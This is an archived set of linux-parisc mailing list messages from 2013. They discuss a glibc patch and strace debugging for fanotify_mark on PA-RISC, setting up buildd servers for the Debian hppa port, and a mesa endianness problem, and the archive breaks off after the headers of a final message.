To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: fanotify_mark()
Date: Tue, 13 Aug 2013 15:49:58 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20130813154958.7514d525@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/suDRCDq20p3sK_9GVh4_jcQ"
X-Trace: ger.gmane.org 1376401808 17328 80.91.229.3 (13 Aug 2013 13:50:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Aug 2013 13:50:08 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 13 15:50:09 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V9Ez6-0002wp-OI
	for glpp-linux-parisc@plane.gmane.org; Tue, 13 Aug 2013 15:50:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757383Ab3HMNuD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Aug 2013 09:50:03 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:43094 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757335Ab3HMNuD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Aug 2013 09:50:03 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 450BF33E9CA
	for <linux-parisc@vger.kernel.org>; Tue, 13 Aug 2013 13:50:02 +0000 (UTC)
X-Mailer: Claws Mail 3.9.2-dirty (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5260
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5260>

--MP_/suDRCDq20p3sK_9GVh4_jcQ
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Trying out systemd I found that libc 2.17 does not build
fanotify_mark() support[1]. When I got it to do that (see attached
patch, which is probably incorrect), calls to fanotify_mark() still
failed on a C8000 (64-bit kernel). I am sure I am missing something
obvious.


Kind regards,
     jer


[1] https://bugs.gentoo.org/show_bug.cgi?id=480268
--MP_/suDRCDq20p3sK_9GVh4_jcQ
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=glibc-2.17-hppa-fanotify_mark.patch

--- a/ports/sysdeps/unix/sysv/linux/hppa/syscalls.list
+++ b/ports/sysdeps/unix/sysv/linux/hppa/syscalls.list
@@ -36,3 +36,4 @@
 setrlimit	-	setrlimit	i:ip	__setrlimit	setrlimit	
 getrlimit	-	getrlimit	i:ip	__getrlimit	getrlimit	
 prlimit64	EXTRA	prlimit64	i:iipp	__prlimit64	prlimit64@@GLIBC_2.17
+fanotify_mark	EXTRA	fanotify_mark	i:iiiis	__fanotify_mark fanotify_mark@@GLIBC_2.17

--MP_/suDRCDq20p3sK_9GVh4_jcQ--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: fanotify_mark()
Date: Tue, 13 Aug 2013 23:29:42 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <520AA546.2070503@gmx.de>
References: <20130813154958.7514d525@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1376429389 26782 80.91.229.3 (13 Aug 2013 21:29:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Aug 2013 21:29:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 13 23:29:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V9MA2-0000rP-4J
	for glpp-linux-parisc@plane.gmane.org; Tue, 13 Aug 2013 23:29:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759314Ab3HMV3t (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Aug 2013 17:29:49 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:50502 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759272Ab3HMV3s (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Aug 2013 17:29:48 -0400
Original-Received: from [192.168.43.77] ([188.207.64.184]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MKpvc-1V9M9x2ESG-0006mR for
 <linux-parisc@vger.kernel.org>; Tue, 13 Aug 2013 23:29:47 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <20130813154958.7514d525@marga.jer-c2.orkz.net>
X-Provags-ID: V03:K0:eqMm1+Ef6NqQ1lV2rxHOy3Ti0NcgbfNn6SIxVubvwlkQD87Mey4
 njwCtoIaY9e4qNHvDxtZ0ue299w6v35nGI0fGRDvjq8m8ycDEFE0Pso0o4bS/grLCBdRPxJ
 9stsZQ5qsAspyur4BsRgSZ3DK54c3nnTXinlBcupwAwIN1DTLnsl2Eqwo6chX2m1sgnABq5
 +F0hoOZv8h2GLKhlB0FsA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5261
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5261>

On 08/13/2013 03:49 PM, Jeroen Roovers wrote:
> Trying out systemd I found that libc 2.17 does not build
> fanotify_mark() support[1]. When I got it to do that (see attached
> patch, which is probably incorrect), calls to fanotify_mark() still
> failed on a C8000 (64-bit kernel). I am sure I am missing something
> obvious.
> 
> [1] https://bugs.gentoo.org/show_bug.cgi?id=480268

In the Linux kernel we use the compat layer for 32bit syscalls on 64bit kernel:
arch/parisc/kernel/syscall_table.S:     ENTRY_COMP(fanotify_mark)
which means we call (with 32bit userspace on 64bit kernel):
fs/notify/fanotify/fanotify_user.c:COMPAT_SYSCALL_DEFINE6(fanotify_mark, int, fanotify_fd, unsigned int, flags,
                __u32, mask0, __u32, mask1, int, dfd, const char  __user *, pathname)
which has 6 parameters.

So, I assume you need one more "i" in this line here (change i:iiiis -> i:iiiiis {to 5 i's}):
> +fanotify_mark	EXTRA	fanotify_mark	i:iiiis	__fanotify_mark fanotify_mark@@GLIBC_2.17

Just an assumption...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: State of the PA-RISC/HPPA port (August 2013)
Date: Tue, 13 Aug 2013 23:36:17 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <520AA6D1.2070505@gmx.de>
References: <20130803204119.GA2392@halden.box> <DB688814-C104-4729-A5C8-848C4EC35750@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1376429834 30887 80.91.229.3 (13 Aug 2013 21:37:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Aug 2013 21:37:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: =?ISO-8859-1?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 13 23:37:13 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V9MHA-00067N-GC
	for glpp-linux-parisc@plane.gmane.org; Tue, 13 Aug 2013 23:37:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759353Ab3HMVhL convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Aug 2013 17:37:11 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:60826 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759352Ab3HMVhK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Aug 2013 17:37:10 -0400
Original-Received: from [192.168.43.77] ([188.207.64.184]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0M6eTo-1W5b7b0OpQ-00wTE2 for
 <linux-parisc@vger.kernel.org>; Tue, 13 Aug 2013 23:37:08 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <DB688814-C104-4729-A5C8-848C4EC35750@parisc-linux.org>
X-Provags-ID: V03:K0:29vkNAnYuj+5CzfRfRNxtS3yWsXrFebG20ls59OiR1lVcdxhXxN
 AwAUDf8YDwFurMrdFk07MO2loZVkpc6CFO+dnmLz5sXBTGOHnfCpOSgz828IR+FEWZwas4E
 EbiNHqJwcrJKhU2acx+f9MsHgDvTjRWp1XRwVzUCfC5bdqWpW8VGxAKnsM6oZT1P/liJ4L6
 zUfQRzW+q4NiSsy6r+IDA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5262 gmane.linux.debian.ports.hppa:6969
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5262>

Hi Thibaut,

On 08/13/2013 11:38 AM, Thibaut Var=E8ne wrote:
> Le 3 ao=FBt 2013 =E0 22:41, Helge Deller <deller@gmx.de> a =E9crit :
>> Furthermore, we sadly still don't have buildd-server. What really
>> is missing here is someone who is willing to host a parisc server
>> and provide enough direct bandwith to the internet.  Giving away
>> real server hardware is probably doable (and those parisc machines
>> luckily aren't expensive any longer on ebay :-)) and even
>> administration would be done by Dave, me or someone else if=20
>> necessary.
>=20
> I think this is not exactly the issue. As I told you before, you are
> welcome to set up the A500 (since the rp3440 is broken, and I don't
> have the means to repair it) hosted at ESIEE (which has plenty of bw)
> as an autobuild. I think the problem has more to do with finding
> someone knowledgeable about the process AND willing to go through the
> pain of said setup. I for one will not volunteer, for the reasons I
> already detailed in previous emails ;-)

Sure, I didn't forgot your offer, and yes, it's a lot of work...
Nevertheless, it doesn't hurt if we have more build servers as well.

Thanks!
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: fanotify_mark()
Date: Wed, 14 Aug 2013 00:54:00 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <20130814005400.3766f068@marga.jer-c2.orkz.net>
References: <20130813154958.7514d525@marga.jer-c2.orkz.net>
	<520AA546.2070503@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1376434448 14069 80.91.229.3 (13 Aug 2013 22:54:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 Aug 2013 22:54:08 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 14 00:54:10 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V9NTb-0003g9-KX
	for glpp-linux-parisc@plane.gmane.org; Wed, 14 Aug 2013 00:54:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753052Ab3HMWyH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Aug 2013 18:54:07 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:42062 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752448Ab3HMWyG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Aug 2013 18:54:06 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 97EF233EB5A;
	Tue, 13 Aug 2013 22:54:04 +0000 (UTC)
In-Reply-To: <520AA546.2070503@gmx.de>
X-Mailer: Claws Mail 3.9.2-dirty (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5263
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5263>

On Tue, 13 Aug 2013 23:29:42 +0200
Helge Deller <deller@gmx.de> wrote:

> > [1] https://bugs.gentoo.org/show_bug.cgi?id=480268
> 
> In the Linux kernel we use the compat layer for 32bit syscalls on
> 64bit kernel: arch/parisc/kernel/syscall_table.S:
> ENTRY_COMP(fanotify_mark) which means we call (with 32bit userspace
> on 64bit kernel):
> fs/notify/fanotify/fanotify_user.c:COMPAT_SYSCALL_DEFINE6(fanotify_mark,
> int, fanotify_fd, unsigned int, flags, __u32, mask0, __u32, mask1,
> int, dfd, const char  __user *, pathname) which has 6 parameters.
> 
> So, I assume you need one more "i" in this line here (change i:iiiis
> -> i:iiiiis {to 5 i's}):

I tried that too with a similarly bad result (I forgot to keep a
binary tarball of the packages glibc for easy switching, and I didn't
keep the strace output of the first attempt either).

As noted on the bug report. The bug report lists the relevant strace
output of the delightfully simple implementation of fanotify_mark in
the fatrace[1] tool as well:

# grep fanotif fatrace.strace
361   fanotify_init(0, 0)               = 3
361   fanotify_mark(0x3, 0x11, 0x4800003b, 0, 0xffffff9c) = -1 EINVAL
(Invalid argument)

I have since tried with a 32-bit kernel on a C3600, and there I get a
different one:

# grep fanotif fatrace.strace
2810  fanotify_init(0, 0)               = 3
2810  fanotify_mark(0x3, 0x11, 0x4800003b, 0, 0xffffff9c) = -1 EBADF
(Bad file descriptor)


     jer


[1] https://launchpad.net/fatrace
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: State of the PA-RISC/HPPA port (August 2013)
Date: Tue, 13 Aug 2013 21:59:18 -0400
Lines: 61
Approved: news@gmane.org
Message-ID: <BLU0-SMTP9E57229650F947FAC134197450@phx.gbl>
References: <20130803204119.GA2392@halden.box> <DB688814-C104-4729-A5C8-848C4EC35750@parisc-linux.org> <520AA6D1.2070505@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1376445579 20207 80.91.229.3 (14 Aug 2013 01:59:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 Aug 2013 01:59:39 +0000 (UTC)
Cc: =?ISO-8859-1?Q?Thibaut_Var=E8ne?= <T-Bone@parisc-linux.org>,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 14 03:59:39 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V9QN8-0003Od-Gc
	for glpp-linux-parisc@plane.gmane.org; Wed, 14 Aug 2013 03:59:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759029Ab3HNB7h convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 Aug 2013 21:59:37 -0400
Original-Received: from blu0-omc4-s30.blu0.hotmail.com ([65.55.111.169]:7413 "EHLO
	blu0-omc4-s30.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758856Ab3HNB7h convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 Aug 2013 21:59:37 -0400
Original-Received: from BLU0-SMTP9 ([65.55.111.135]) by blu0-omc4-s30.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 13 Aug 2013 18:59:36 -0700
X-TMN: [gBGc8BclUGxuQVdEIYTdaP1L7xxudGnR]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP9.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 13 Aug 2013 18:59:35 -0700
In-Reply-To: <520AA6D1.2070505@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 14 Aug 2013 01:59:35.0567 (UTC) FILETIME=[ED1661F0:01CE9891]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5264 gmane.linux.debian.ports.hppa:6970
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5264>

On 13-Aug-13, at 5:36 PM, Helge Deller wrote:

> Hi Thibaut,
>
> On 08/13/2013 11:38 AM, Thibaut Var=E8ne wrote:
>> Le 3 ao=FBt 2013 =E0 22:41, Helge Deller <deller@gmx.de> a =E9crit :
>>> Furthermore, we sadly still don't have buildd-server. What really
>>> is missing here is someone who is willing to host a parisc server
>>> and provide enough direct bandwith to the internet.  Giving away
>>> real server hardware is probably doable (and those parisc machines
>>> luckily aren't expensive any longer on ebay :-)) and even
>>> administration would be done by Dave, me or someone else if
>>> necessary.
>>
>> I think this is not exactly the issue. As I told you before, you are
>> welcome to set up the A500 (since the rp3440 is broken, and I don't
>> have the means to repair it) hosted at ESIEE (which has plenty of bw=
)
>> as an autobuild. I think the problem has more to do with finding
>> someone knowledgeable about the process AND willing to go through th=
e
>> pain of said setup. I for one will not volunteer, for the reasons I
>> already detailed in previous emails ;-)
>
> Sure, I didn't forgot your offer, and yes, it's a lot of work...
> Nevertheless, it doesn't hurt if we have more build servers as well.


I have buildd running on my rp3440 and also have installed the wanna-=20
build
database infrastructure.  What is lacking are the trigger scripts for =20
wanna-build to
handle the remote debian source and parisc package archives.  There is =
=20
a local
trigger script.

So at the moment, the simplest solution appears to be mirroring the =20
archives locally.
I'm a bit worried about how much net bandwidth this will require.

All the packages to set up buildd and wanna-build are in the parisc =20
archive.  It's
not that much work.  The work in running a buildd server is in =20
monitoring
it and resolving package build issues.  I'm not seeing the ports =20
access issue being
resolved unless we can demonstrate a working system.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Wed, 14 Aug 2013 19:36:01 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <BLU0-SMTP28D21C5E1F517BD3CB235C97450@phx.gbl>
References: <A7728478-8754-4B8E-81DD-CDB70165FFAB@p0n4ik.tk> <E820CE4C-248F-49CF-84F3-1E0A219133C9@p0n4ik.tk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1376523373 9007 80.91.229.3 (14 Aug 2013 23:36:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 Aug 2013 23:36:13 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Alex Ivanov <gnidorah@p0n4ik.tk>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 15 01:36:14 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V9kbu-0001fG-7J
	for glpp-linux-parisc@plane.gmane.org; Thu, 15 Aug 2013 01:36:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760008Ab3HNXgN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 14 Aug 2013 19:36:13 -0400
Original-Received: from blu0-omc4-s29.blu0.hotmail.com ([65.55.111.168]:64296 "EHLO
	blu0-omc4-s29.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758091Ab3HNXgM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 14 Aug 2013 19:36:12 -0400
Original-Received: from BLU0-SMTP28 ([65.55.111.137]) by blu0-omc4-s29.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 14 Aug 2013 16:36:11 -0700
X-TMN: [86fsnDbbyRgm0ycOd+XhFiE4RjiWJD85]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP28.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 14 Aug 2013 16:36:10 -0700
In-Reply-To: <E820CE4C-248F-49CF-84F3-1E0A219133C9@p0n4ik.tk>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 14 Aug 2013 23:36:10.0608 (UTC) FILETIME=[0E8B9700:01CE9947]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5265
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5265>

On 10-Aug-13, at 3:56 PM, Alex Ivanov wrote:

>> I've tried this one and many other things (except the messing with  
>> endianness) so far. The error is
>> still there.
>


Alex, I don't know which distro your using but I built and uploaded a  
new debian build of mesa and some packages it
depends on to the parisc archive.  Mesa and the open source ATI driver  
build without problems on parisc.  However, this
thread suggests we need to go backwards to resolve the endian issues:
http://forums.gentoo.org/viewtopic-p-7128758.html

I have a RV100 in my rp3440 that I may play a bit with if I get a  
chance.

While this might be a kernel issue, I suggest that the bug needs to be  
filed on the relevant distro package list and
maybe on the package source list as well.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: New Debian Kernel Packages
Date: Wed, 14 Aug 2013 19:43:57 -0400
Lines: 58
Approved: news@gmane.org
Message-ID: <BLU0-SMTP4320CF464D6486AAAC10C97450@phx.gbl>
References: <BLU0-SMTP89A9F5D677CA80946A5DB097550@phx.gbl> <51FADF39.4020505@gmx.de> <BLU0-SMTP3529F28468423082C0A26797500@phx.gbl> <1375397525.2070.17.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1376523849 13979 80.91.229.3 (14 Aug 2013 23:44:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 Aug 2013 23:44:09 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 15 01:44:11 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V9kja-0007gx-5E
	for glpp-linux-parisc@plane.gmane.org; Thu, 15 Aug 2013 01:44:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759869Ab3HNXoJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 14 Aug 2013 19:44:09 -0400
Original-Received: from blu0-omc4-s2.blu0.hotmail.com ([65.55.111.141]:32589 "EHLO
	blu0-omc4-s2.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758255Ab3HNXoI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 14 Aug 2013 19:44:08 -0400
Original-Received: from BLU0-SMTP4 ([65.55.111.137]) by blu0-omc4-s2.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 14 Aug 2013 16:44:08 -0700
X-TMN: [IwEdNFvue/sO9poyMltcAdWbOX8oErQj]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP4.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 14 Aug 2013 16:44:06 -0700
